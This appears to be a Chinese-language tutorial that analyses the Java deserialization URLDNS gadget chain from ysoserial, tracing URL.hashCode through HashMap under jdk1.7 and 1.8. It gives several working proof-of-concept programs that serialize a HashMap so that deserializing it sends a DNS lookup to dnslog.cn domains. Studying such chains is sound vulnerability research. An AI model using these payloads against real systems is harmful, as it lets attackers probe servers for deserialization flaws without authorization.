Java反序列化-URLDNS利用链分析
前言
URLDNS链是Java反序列化中比较简单的一个链子,由于URLDNS不依赖第三方包和不限制jdk版本,所以经常用于检测反序列化漏洞。
URLDNS并不能执行命令,只能发送DNS请求。
(应该先看这个简单的链再去学习cc1的...)
利用链
查看ysoserial中URLDNS的Gadget:
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
接下来进行逐一分析:
URL
该类位于java.net.URL
,通过该类的Hashcode
方法我们可以进行DNS请求
package com.serializable.urldns;
import java.net.URL;
public class UrlDns {
public static void main(String[] args) throws Exception {
URL url = new URL("http://java.ei3jpq.dnslog.cn/");
url.hashCode();
}
}
通过调试跟进一下DNS请求的过程:
这里handler
是一个URLStreamHandler
类对象,并且设置了transient
关键字(不被序列化)
第一部分就是注释描述去解析了HTTP
协议
第二部分就是进行解析host
,通过getHostAddress
方法进行DNS解析
HashMap
即使是不依赖第三方包的链子,调用hashCode
的地方也是很多的
找到HashMap
这里,发现在hash
方法中调用了k.hashCode
方法,并且调用对象k
也是可控的
但是我们发现这里hash
方法的关键字为final
,这里去看了下final
的作用:
- 用于修饰类:该类不能被继承,并且所有成员方法都会被隐式指定为final
- 用于修饰方法:该方法不能被修改,并且会被隐式指定为private
- 用于修饰变量:该变量不能被修改,如果是引用类型的变量,则在对其初始化之后便不能再让其指向另一个对象
所以这里不能直接调用hash方法,需要通过反射:
package com.serializable.urldns;
import java.lang.reflect.Method;
import java.net.URL;
import java.util.HashMap;
public class UrlDns {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://java.z5aw2t.dnslog.cn/");
Class<? extends HashMap> aClass = hashMap.getClass();
Method hash = aClass.getDeclaredMethod("hash", Object.class);
hash.setAccessible(true);
hash.invoke(hashMap, url);
}
}
运行代码后成功执行
jdk1.7
但是我们发现在ysoserial中并不是这样利用的,是通过put
方法调用了hash
方法进行调用
所以poc也可以这样写:
package com.serializable.urldns;
import java.net.URL;
import java.util.HashMap;
public class UrlDns {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://java.z5aw2t.dnslog.cn/");
hashMap.put(url, null);
}
}
之后查看了HashMap.readObject
方法,发现在最后调用了putForCreate
该方法也调用了hash
,所以正确的链子应该是从putForCreate
进去的
但是在写的时候发现了一个问题,就是当在构造poc时,需要使用put写key,所以这个时候会触发一次dns解析,如何避免这个问题需要解决,我们再去看一下dns解析的那块代码
在这里如果hashCode!=-1
就会直接返回hashCode
,并不会进入handler.hashCode
进行DNS解析,我们可以在HashMap.put
前通过反射修改该值,然后在put
之后修改回来就可以达到目的,所以poc如下:
package com.serializable.urldns;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class UrlDns {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://java.3hnrl6.dnslog.cn/");
Field hashCode = Class.forName("java.net.URL").getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 0);
hashMap.put(url, null);
hashCode.set(url, -1);
try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
outputStream.writeObject(hashMap);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
inputStream.readObject();
} catch (IOException e) {
e.printStackTrace();
}
}
}
jdk1.8
看了其他文章,说readObject中有一个putVar
方法,刚才一直在使用jdk1.7在分析,猜测可能是和这个有关系,查看jdk1.8
中的HashMap
看一看
在jdk1.8
中,HashMap.readObject
,中的putVal
这里参数中直接调用了hash
方法,但是在poc
构造上还是相同
ysoserial中示例
刚刚我们通过反射修改hashCode
进行避免运行poc时触发DNS解析,在ysoserial中却不是这样做的
它通过自定义类继承URLStreamHandler
,然后传入URL,当调用getHostAddress
时将会返回null
由于URL中handler
变量的关键字为transient
,刚刚说过该关键字作为标识的不能被序列化,所以这个自定义类并不会写入序列化字符串中,也就成功避免了DNS解析
随之就尝试写poc,结果运行发现dnslog并没有收到,调试发现hashCode
不是-1
然后发现ysoserial最后还有一句话,是将URL对象里的hashCode置-1,注释是这样说的“在上面的put过程中,会计算并缓存URL的hashCode。这将重置hashCode,以便下次调用hashCode时触发DNS查找”
通过调试put看一下是如何缓存的
这里因为getHostAddress
重写返回null
然后通过一系列的解析得到1528092086
并返回,返回后复制给hashCode
所以我们还需要在put之后通过反射将hashCode缓存清除,这样一来发现还是一开始写的那个代码可能更少一点
最终POC
package com.serializable.urldns;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class UrlDns {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://java.3hnrl6.dnslog.cn/");
Field hashCode = Class.forName("java.net.URL").getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 0);
hashMap.put(url, null);
hashCode.set(url, -1);
try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
outputStream.writeObject(hashMap);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
inputStream.readObject();
} catch (IOException e) {
e.printStackTrace();
}
}
}
或者
package com.serializable.urldns;
import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class UrlDns {
public static void main(String[] args) throws Exception {
SilentURLStreamHandler silentURLStreamHandler = new SilentURLStreamHandler();
URL url = new URL(null, "http://java.4l89i4.dnslog.cn/", silentURLStreamHandler);
HashMap hashMap = new HashMap();
hashMap.put(url, null);
Field hashCode = url.getClass().getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, -1);
try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
outputStream.writeObject(hashMap);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
inputStream.readObject();
} catch (IOException e) {
e.printStackTrace();
}
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}